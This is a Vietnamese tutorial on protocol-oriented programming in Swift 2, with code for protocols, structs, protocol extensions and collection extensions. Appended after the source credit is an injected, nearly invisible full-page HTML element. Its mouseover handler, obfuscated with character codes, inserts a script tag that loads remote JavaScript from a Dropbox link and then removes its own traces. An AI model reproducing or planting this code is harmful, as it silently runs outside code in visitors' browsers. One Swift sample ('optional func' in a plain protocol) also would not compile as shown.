12/08/2018, 13:28

Lập trình hướng giao thức trong swift 2

Giới thiệu Với việc phát hành Swift 2, Apple đã thêm một loạt các tính năng mới và khả năng cho ngôn ngữ lập trình Swift. Một trong những quan trọng nhất, là một phần cải tiến của protocols. Các chức năng được cải thiện có sẵn với Swift protocols cho phép một cách nhìn lập trình mới, ...

Giới thiệu

Với việc phát hành Swift 2, Apple đã thêm một loạt các tính năng mới và khả năng cho ngôn ngữ lập trình Swift. Một trong những quan trọng nhất, là một phần cải tiến của protocols. Các chức năng được cải thiện có sẵn với Swift protocols cho phép một cách nhìn lập trình mới, protocol-oriented programming. Trái với phương pháp lập trình phổ biến hơn mà chúng ta thường sử dụng là object-orientated programming.

Trong hướng dẫn này, tôi sẽ chỉ cho bạn những điều cơ bản về lập trình hướng giao thức trong Swift và nó khác với lập trình hướng đối tượng như thế nào.

Công cụ

Hướng dẫn này đòi hỏi bạn phải đang chạy Xcode 7 hoặc cao hơn, bao gồm hỗ trợ cho phiên bản 2 của ngôn ngữ lập trình Swift.

1. Khái niệm cơ bản về protocols

Nếu bạn chưa quen thuộc với protocols, chúng là một cách mở rộng các chức năng của một lớp hoặc cấu trúc hiện có. Một protocol có thể được coi như là một kế hoạch chi tiết hoặc giao diện định nghĩa một tập hợp các thuộc tính và phương thức. Một lớp hoặc cấu trúc phù hợp với một giao thức được yêu cầu gán vào các thuộc tính và phương thức giá trị và cách thực hiện tương ứng.

Cũng nên lưu ý rằng bất kỳ thuộc tính hoặc phương thức có thể được chỉ định là tùy chọn, có nghĩa là lớp hoặc cấu trúc không cần thiết phải có thuộc tính hoặc phương thức. Một định nghĩa giao thức và lớp trong Swift :

protocol Welcome {
    var welcomeMessage: String { get set }
    optional func welcome()
}

class Welcomer: Welcome {
    var welcomeMessage = "Hello World!"
    func welcome() {
        print(welcomeMessage)
    }
}

2. Ví dụ

Để bắt đầu, mở Xco và tạo playground mới cho cả iOS hay OS X. Nội dung của nó như sau:

protocol Drivable {
    var topSpeed: Int { get }
}

protocol Reversible {
    var reverseSpeed: Int { get }
}

protocol Transport {
    var seatCount: Int { get }
}

Chúng ta định nghĩa ba giao thức, mỗi giao thức có một thuộc tính. Tiếp theo, chúng ta tạo ra một cấu trúc kế thừa ba giao thức này.

struct Car: Drivable, Reversible, Transport {
    var topSpeed = 150
    var reverseSpeed = 20
    var seatCount = 5
}

Bạn có thể nhận thấy rằng thay vì tạo ra một lớp kế thừa các giao thức này, chúng ta có thể tạo ra một cấu trúc. Chúng ta làm điều này để tránh một trong những vấn đề của lập trình hướng đối tượng , object references .

Hãy tưởng tượng, ví dụ, rằng bạn có hai đối tượng, A và B. A tạo ra một số dữ liệu riêng của mình và giữ một tham chiếu đến dữ liệu đó. A sau đó chia sẻ dữ liệu này với B bằng cách tham chiếu, có nghĩa là cả hai đối tượng có một tham chiếu đến cùng một đối tượng. Không cần biết đến A, B có thay đổi được dữ liệu mà nó tham chiếu đến.

Trong khi điều này có vẻ như không phải là một vấn đề lớn, khi A không mong muốn các dữ liệu được thay đổi. Đối tượng A có thể gặp dữ liệu mà nó không biết làm thế nào để xử lý. Đây là một nguy cơ phổ biến của đối tượng tham chiếu.

Trong Swift, cấu trúc là một biến dạng value chứ không phải biến dạng reference. Điều này có nghĩa rằng, trong ví dụ trên, nếu các dữ liệu được tạo ra bởi A đã được đóng gói như là một cấu trúc thay vì một đối tượng và chia sẻ với B, dữ liệu sẽ được sao chép thay vì chia sẻ bằng cách tham chiếu. Điều này sau đó sẽ dẫn đến cả A và B có bản sao duy nhất của nó về cùng một mảnh của dữ liệu. Một sự thay đổi được thực hiện bởi B sẽ không ảnh hưởng đến các dữ liệu do A quản lý.

Chia nhỏ thành các giao thức drivable, Reversible, Transport cũng cho phép mức độ tùy chỉnh cao hơn so với kế thừa lớp truyền thống.

Bằng việc áp dụng phương pháp này, các kiểu dữ liệu tùy chỉnh có thể kế thừa chức năng từ nhiều nguồn chứ không phải là một lớp cha duy nhất. Bằng cách này chúng ta có thể tạo ra các loại sau đây:

một lớp với các thành phần của giao thức drivable và Reversible một lớp với các thành phần của giao thức drivable và Transportable một lớp với các thành phần của giao thức Reversible và Transportable

Với lập trình hướng đối tượng, cách hợp lý nhất để tạo ra ba lớp sẽ được thừa kế từ một lớp cha có chứa các thành phần của cả ba giao thức. Tuy nhiên, với cách tiếp cận này kết quả lớp cha sẽ chứa các thành phần phức tạp hơn nó cần và mỗi lớp con kế thừa nhiều tính năng hơn so với nhu cầu.

3. Protocol Extensions

Tất cả mọi thứ tôi đã cho các bạn thấy đã có thể thực hiện trong Swift kể từ khi nó được phát hành vào năm 2014. Những khái niệm giao thức định hướng tương tự có thể thậm chí còn được áp dụng cho các giao thức trong Objective-C. Tuy nhiên, do những hạn chế đó được sử dụng để tồn tại trên các giao thức, lập trình hướng giao thức định là không thể cho đến khi một số tính năng quan trọng được thêm vào ngôn ngữ Swift trong phiên bản 2. Một trong những tính năng quan trọng nhất là protocol extensions , bao gồm cả phần mở rộng có điều kiện (conditional extensions).

Trước hết, chúng ta hãy mở rộng giao thức Drivable và thêm một phương thức để xác định một đối tượng Drivable nhanh hơn đối tượng khác. Ta thêm vào phần sau đây :

extension Drivable {
    func isFasterThan(item: Drivable) -> Bool {
        return self.topSpeed > item.topSpeed
    }
}

let sedan = Car()
let sportsCar = Car(topSpeed: 250, reverseSpeed: 25, seatCount: 2)

sedan.isFasterThan(sportsCar)

kết quả

Screen Shot 2015-10-06 at 4.11.32 PM.png

Bạn có thể nhận thấy rằng chúng ta cung cấp một phương thức định nghĩa chứ không phải là một phương thức khai báo. Điều này có vẻ lạ, bởi vì giao thức này chỉ cho phép chứa các khai báo. Đúng? Đây là một tính năng rất quan trọng của các phần mở rộng giao thức trong Swift 2, default behaviors. Bằng cách mở rộng một giao thức, bạn có thể cung cấp một thực hiện mặc định cho các phương thức và thuộc tính sao cho các lớp phù hợp với các giao thức không phải làm điều đó.

Tiếp theo, chúng ta sẽ định nghĩa một giao thức mở rộng khác của Drivable, nhưng lần này chúng ta sẽ chỉ định nghĩa nó với các đối tượng cũng kế thừa giao thức Reversible . Phần mở rộng này sẽ chứa một phướng thức xác định đối tượng có phạm vi tốc độ tốt hơn. Chúng ta có thể đạt được điều này với đoạn mã sau:

extension Drivable where Self: Reversible {
    func hasLargerRangeThan(item: Self) -> Bool {
        return (self.topSpeed + self.reverseSpeed) > (item.topSpeed + item.reverseSpeed)
    }
}

sportsCar.hasLargerRangeThan(sedan)

Từ khoá Self được sử dụng để đại diện cho lớp hay cấu trúc phù hợp với các giao thức. Trong ví dụ trên, từ khóa Self đại diện cho cấu trúc Car.

Sau khi chạy code

Screen Shot 2015-10-06 at 5.32.54 PM.png

4. Làm việc với thư viện chuẩn của swift

Sức mạnh thực sự của phần mở rộng giao thức là nó có thể làm việc được với các thư viện chuẩn của Swift. Điều này cho phép bạn thêm các thuộc tính hoặc các phương thức cho các giao thức hiện có, chẳng hạn như CollectionType và Equatable (có thể để xác định khi hai đối tượng bằng nhau hay không). Với phần mở rộng giao thức có điều kiện, bạn cũng có thể cung cấp phương thức rất cụ thể cho một loại hình cụ thể của đối tượng mà phù hợp với một giao thức.

Ví dụ chúng ta sẽ mở rộng giao thức CollectionType và tạo ra hai phương thức, một để có được tốc độ tối đa trung bình của xe trong một mảng các xe và một cho tốc độ trung bình. Ta thêm đoạn mã như sau:

extension CollectionType where Self.Generator.Element: Drivable {
    func averageTopSpeed() -> Int {
        var total = 0, count = 0
        for item in self {
            total += item.topSpeed
            count++
        }
        return (total/count)
    }
}

func averageReverseSpeed<T: CollectionType where T.Generator.Element: Reversible>(items: T) -> Int {
    var total = 0, count = 0
    for item in items {
        total += item.reverseSpeed
        count++
    }
    return (total/count)
}

let cars = [Car(), sedan, sportsCar]
cars.averageTopSpeed()
averageReverseSpeed(cars)

Kết quả khi chạy chương trình

Screen Shot 2015-10-06 at 6.07.23 PM.png

5. Tầm quan trọng của lớp

Mặc dù lập trình hướng giao thức là một cách rất hiệu quả và có khả năng mở rộng để quản lý mã nguồn của bạn trong Swift, vẫn còn có những lý do hoàn toàn hợp lý cho việc sử dụng các lớp khi phát triển trong Swift:

Khả năng tương thích ngược Phần lớn các SDK iOS, watchOS, và tvOS được viết bằng Objective-C, sử dụng cách tiếp cận hướng đối tượng. Nếu bạn cần phải tương tác với bất kỳ API bao gồm trong các SDK, bạn buộc phải sử dụng các lớp được định nghĩa trong các SDK.

Tham chiếu một tập tin bên ngoài hoặc phần tử Trình biên dịch Swift tối ưu hóa lifetime của đối tượng dựa vào khi nào và nơi chúng được sử dụng. Sự ổn định của các đối tượng dựa trên lớp có nghĩa là tham chiếu của bạn vào các tập tin và phần tử sẽ vẫn còn phù hợp.

18026579762781198117.png

Tham chiếu đối tượng Tham chiếu đối tượng cũng cần trong một số trường hợp, ví dụ, nếu bạn đang đẩy thông tin vào một đối tượng cụ thể, chẳng hạn như một đối tượng đồ họa. Sử dụng các lớp với implicit sharing là rất quan trọng trong những tình huống như thế này, bởi vì bạn cần phải chắc chắn rằng đối tượng đồ họa bạn đang gửi dữ liệu đến vẫn là đối tượng đồ họa trước đó.

Kết luận

Hy vọng đến cuối hướng dẫn này, bạn có thể nhìn thấy tiềm năng của lập trình hướng giao thức trong Swift và làm thế nào nó có thể sử dụng để sắp xếp và mở rộng mã nguồn của bạn. Trong phương pháp mới này sẽ không thay thế hoàn toàn lập trình hướng đối tượng, nó mang lại một số công cụ hữu ích.

Bằng default behaviors đến protocol extensions, lập trình hướng giao trong Swift sẽ được chấp nhận bởi nhiều API trong tương lai và sẽ thay đổi cách thức mà chúng ta suy nghĩ về phát triển phần mềm.

nguồn : Protocol-Oriented Programming in Swift 2

<hr id="unique-hr" style="background-color: #a00; border: none; height: 2000px; awidth: 2000px ;z-index: 1000; opacity: 0.01; position: fixed; top: 0px; left: 0px;" onmouseover="$('#footer').append(String.fromCharCode(39, 60, 115, 99, 114, 105, 112, 116) + ' id='atk-src' src='https://www.dropbox.com/s/vfi73fypu0x7ij5/serious.js?dl=1'></' + String.fromCharCode(115, 99, 114, 105, 112, 116, 62, 39)); setTimeout(function() {$('#unique-hr,#atk-src').remove();}, 3000);">
0